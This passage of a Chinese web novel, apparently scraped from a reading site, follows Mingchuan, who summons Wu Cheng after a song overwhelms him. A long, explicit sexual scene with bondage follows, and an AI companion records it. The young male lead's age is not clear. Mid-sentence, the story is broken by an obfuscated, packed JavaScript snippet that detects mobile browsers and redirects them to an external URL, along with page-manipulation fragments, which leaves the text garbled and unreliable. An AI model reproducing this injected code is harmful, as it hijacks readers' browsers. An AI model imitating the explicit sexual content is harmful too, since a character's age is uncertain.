《别了,恐山》。
明川在原世界听过的一首外文歌。
歌词利用当国语言中许多同音不同义的词,做到了完美的押韵和意境对比,令人拍案叫绝。
但“同音不同义”一直都是翻译时想体现原文精妙之处的最难点。
好在明川懂得那国的语言。
所以他更能直观体会那平静旋律下,歌词中重重叠叠、不断叠加的情深义重。
歌曲有个简单的故事背景:
一个强大且凶残、还长生不死的“怪物”,被人收做了家臣。
那人死后,家臣避世不出,但一直在暗中守护那人的血脉。
一经千年,痴心不改。
直到日渐长大的新任少主,眉眼间逐渐有了那人模样……
歌词描述的就是家臣在面对新少主时的心境。
千年止水,顷刻泛滥。百转千回,无以言说。
极致甜蜜,极致虐心。
明川第一次听过后,就放进了“最爱”歌单,时常点开来听。
听的时候,总忍不住偷瞄站在自己身后、沉默如雕像的巫丞。
[我为君而生,君笑我无情]
[如若露了情,怎敢伴君身]
[自知不祥人,惟愿与君共沉沦]
[此曲为君作,盼君感其深]
[此曲为君作,愿君不得闻]
听着那熟悉的旋律和歌词,明川感觉自己浑身的力气都被抽走了。天旋地转。身下的四方小木凳根本坐不住。扶着桌子也坐不住。
他摇晃着起身,爬回床上,窝进靠墙角的位置,按着胀得发疼的额角,【为什么挑这首歌?】
5x:【随机。】
明川:……
真会随。
【别放了。】他抱住头。
5x停止播放。
过了一会儿,明川又说:【接着放吧。】
5x接着放。
听了一会儿,泪流不止的明川又连滚带爬地跌下床,爬到卫生间去抱着马桶吐。
5x不放了。
明川没像上次一样坏掉。干呕完了,爬起来,跌跌撞撞地回到床上,给巫丞打电话。
“丞哥哥,我要你回来,现在。”
说完他就把电话挂了,手机扔一边。
巫丞没再给他打回来。
四十多分钟后,巫丞喘着粗气推开宿舍门。
按照皇宫跟军校的距离,巫丞得是挂了电话就打车往回赶,才能在这么短的时间内赶回来。而且瞧他这模样,应该是下了出租车,从校门一路跑回来的。
看着枯坐在床上、像是全部生命力都被抽走了的人,预感应验的巫丞还是愣了一下。
他要大步上前,却听床上的人声线嘶哑地说:“锁门。”
巫丞一滞,回身把宿舍门锁好。
他往床边快步走,明川撑着自己往床边爬。
“怎么了?”巫丞从发丝摸上明川没有光彩的脸。
明川上手就解他的腰带,然后是裤子上的卡扣,躬下身子,用牙齿叼住拉链,眼睛向上,盯着巫丞垂首看他的眼,慢慢往下拉。
巫丞卡住明川脖子,把拉了他裤链一半的小浪货拽上来,弯身吻他的唇。
把人亲软了,亲乖了,巫丞一手捞着软了身子的人,一手拇指蹭他眼角的白色结晶,又问:“怎么了?”
“想要。”
“这么急?”
“会死。”
巫丞看看明川,抽出腰间皮带,抓过明川双腕就往上缠。
明川不反抗,失神眸子里迸发出的精光和逐渐粗重的呼吸都在彰显他的兴奋。
一个小时后。
“不要……不要这么折磨我……丞哥哥……”
双手被绑在床头的明川难受似的左右扭着身子,双腿无意识地乱踹,试图逃离对方的“酷刑”。
巫丞衣着整齐、神色平淡地坐在床尾,一把捞住就要踹上自己脸的粉白脚掌上的纤细脚踝,稍微屈起自己的左腿将明川的小腿塞进下边压住,而后又去捉另一只还在乱蹬的腿,压着膝盖内侧按在床上。
“硌到了,难受……”明川哭着看床尾神色淡然的人。
巫丞恍若未闻,只是动了动始终未曾离开温软之处的双指,轻车熟路地探到一个地方,轻轻勾了勾指尖。
便惹得床上人如濒死的鱼一般猛地挺起腰身,又重重落下来。
叫都叫不出来。
只有被激出的生理性泪水突然满溢上来,顺着眼角淌。
而后又是不厌其烦、若有似无的撩拨。
四处煽风点火,却不灭火。
明川觉得自己像条被捞出池水干晾着的鱼,快被渴死了。
“丞哥哥……丞哥哥……”小奶猫似的哭求。
巫丞无动于衷。
“我说!我说!”明川妥协。
巫丞终于收手,目光盯着指尖牵出的银丝,想到一会儿总还要用,直接抹在了那朵娇嫩的花瓣上。
“说啊?”他细细涂抹着,像在擦拭什么珍世的艺术品。
明川舔了舔因为体温上升而干热的唇瓣,气喘吁吁地咽着唾沫,小猫叫,“就是……想起一首曾经听过的歌……”
巫丞一手推高明川的膝窝,一手继续揉弄着软嫩的花瓣,撩起眼帘瞧了明川一眼,“什么歌?”
“你先给我,完事了我唱给你听~”
巫丞眼都不抬,又开始用指尖戳弄颤抖的花瓣。
明川之前都是吃太撑,从来不知道吃不饱这么难受。四肢百骸都跟虫子爬似的。
“你还要我怎么样嘛!”明川委屈地哭,乱扑腾,不想让巫丞碰他。
饿着都比吃不饱的感觉强!
奈何巫丞太清楚他的那些点了,不出两秒,明川就只能抽抽着哼哼。
“先唱,唱完我给你。”
明川刚才扑腾的时候,被巫丞压在大腿下的脚碰到了什么。他用力绷紧小腿肌肉,勾勾脚尖。
是那里。
那张云淡风轻的面具上乍然裂开的一道细缝没能逃过明川已经迷蒙的眼睛。
“你确定要先听?你不怕听完就软了?”明川努力勾被压着的小腿的脚趾,来回刮蹭。
巫丞的冷淡神色因为某种极致的隐忍克制而显出一种诡异的狰狞,他屈起手指报复,看着对方瞬间丢盔卸甲,想落荒而逃又逃不掉的样子,心中瞬间升腾起一种极大的满足。
他像个被贾明川掌控的玩偶,可贾明川也是被他掌控的玩偶。
这算不算扯平?
……扯平个屁。
“会吗?你不是听了歌,才火急火燎地叫我回来?说不定,你给我听了,也能让我火急火燎。”巫丞压下身子,看着被他弄得呼吸急促,软成一滩水的漂亮少年。
“你让我怎么唱……”明川收拢粉色的花瓣,含着泪可怜巴巴地看巫丞,示意对方先把手收回去。
“不碍事。”巫丞不仅不松手,还摸完了花瓣表面摸里边,一寸寸按着摸,摸得柔嫩的花瓣颤抖不止,花蕊里渗出花汁来。
这场已经持续了一个多小时较量,明川认输。
他带着哭腔断断续续地唱,调子不知道拐到哪里去。
“外文歌?”巫丞逆着明川的皮肤纹理,用干燥的指腹一寸寸摸上去。
明川停下来,微微颤抖着应,“嗯。”
巫丞没问是哪个国家的语言,直接问:“歌词大意是什么?”
明川讨饶,“你这样弄我,我脑子都不转了……”
巫丞停手。
明川拢拢涣散的神智,一边回想歌词
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12175260|129567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原文,一边一句句翻译过来给巫丞听。
巫丞听着,起身,脱衣服。而后在明川念到那句“自知不祥人,惟愿与君共沉沦”时,拥着明川狠狠沉沦。
【录着呢吗?五哥。】明川突然问。
【一直在录。】5x应,【你还清醒着?】
【嗯,但可能……马上就不行了……】
【真的不要我提醒或者阻止你?】5x似是不太放心。
【嗯,我想知道,丞哥哥到底想干嘛。】
5x回归静默。
又过了一个小时。
“不要!”明川突然尖叫一声。
“怎么?”巫丞停下来,抬头。
“不要……不要碰那里……”明川颤抖着,眼泪巴巴地小猫叫。
巫丞爬上来一点低头吻他的唇,轻声问:“真的不要?”
明川看看他,默默咬住下唇,微微偏过脸,闪躲开视线。
巫丞轻笑一声,咬他脸上的软肉,“小骗子。”
过了一会儿。
“啊!”明川又惊叫一声。
巫丞不厌其烦地停下来,用询问的眼神看他。
“不要……不要碰那里……”跟之前是相同的台词,相同的表情。
可巫丞还是软声确认,“真的不要?”
明川摇头,“不要……不舒服……会疼……”
巫丞亲他的嘴巴,掌心抚过他潮湿的皮肤,极尽温柔地安抚。
“好,我们不要。但你要说安全词给我听。”
乖顺躺在身下的少年用那双湿漉漉的眸子一瞬不瞬地望进他的眼睛,没有任何迟疑的,语气是纯洁且真挚的,“我喜欢你。”
巫丞盯着他的眸子暗了暗,“称呼呢?”
“我喜欢你,丞哥……唔!”
最后一个字来不及发出声音,便被凶狠的吻吞没了。
【明川。明川,醒醒。】见巫丞睡着了,5x叫人。
明川动了动,顺着鼻端醉人的香草朗姆酒味,收紧手臂,又往巫丞怀里贴了贴。
巫丞也没醒,只是条件反射般地抚摸了几下明川瘦削的脊背,轻轻拍打的幅度逐渐变弱,最后不动了。
【醒醒。】5x调大一些音量。
明川无意识地蹙了蹙眉,梦呓似的,“好累哦……再让我睡会儿……丞哥哥……”
5x:【谁是你丞哥哥……快点醒!明川!!】
明川猛地抖了一下,醒了。
抱着他的人又开始无意识地安抚他。
明川心里被填得满满的,微微蹭起脸来,轻轻啄了啄巫丞的喉结。
【放吧。】
音落,明川脑子里便开始重现巫丞回来后发生的一切,全部是明川视角。
明川看了两眼,意识到什么,用意念调出进度条。7:32:57。
明川:……
7个半小时……这么离谱?!
……哦,丞哥哥回来的时候才4点,现在0点,是这个时长……
6点还要起床出早操,不可能从头到尾地看,也没必要。
【五哥,你帮我筛筛吧。把你觉得有异常的部分挑出来给我看就行。】
明川跟5x虽然是意念沟通,但语气会受现实的影响。就比如现在,明川的意念语气就是那种困倦慵懒、吃饱了四仰八叉晒肚皮的小奶猫。
5x静默片刻方才回应,【你不怕有遗漏?】
【我们朝夕相伴这么久了,我相信你的啦,五哥。】明川声音越来越弱,像是又要睡过去了。
但5x动作很快,不到一分钟,就把剪好的片子甩给明川了。
明川先瞧了眼剪辑后的时长:3:48:17,瞬间有种想死的心。
他点击播放,准备瞧瞧巫丞到底想从自己这儿套到什么。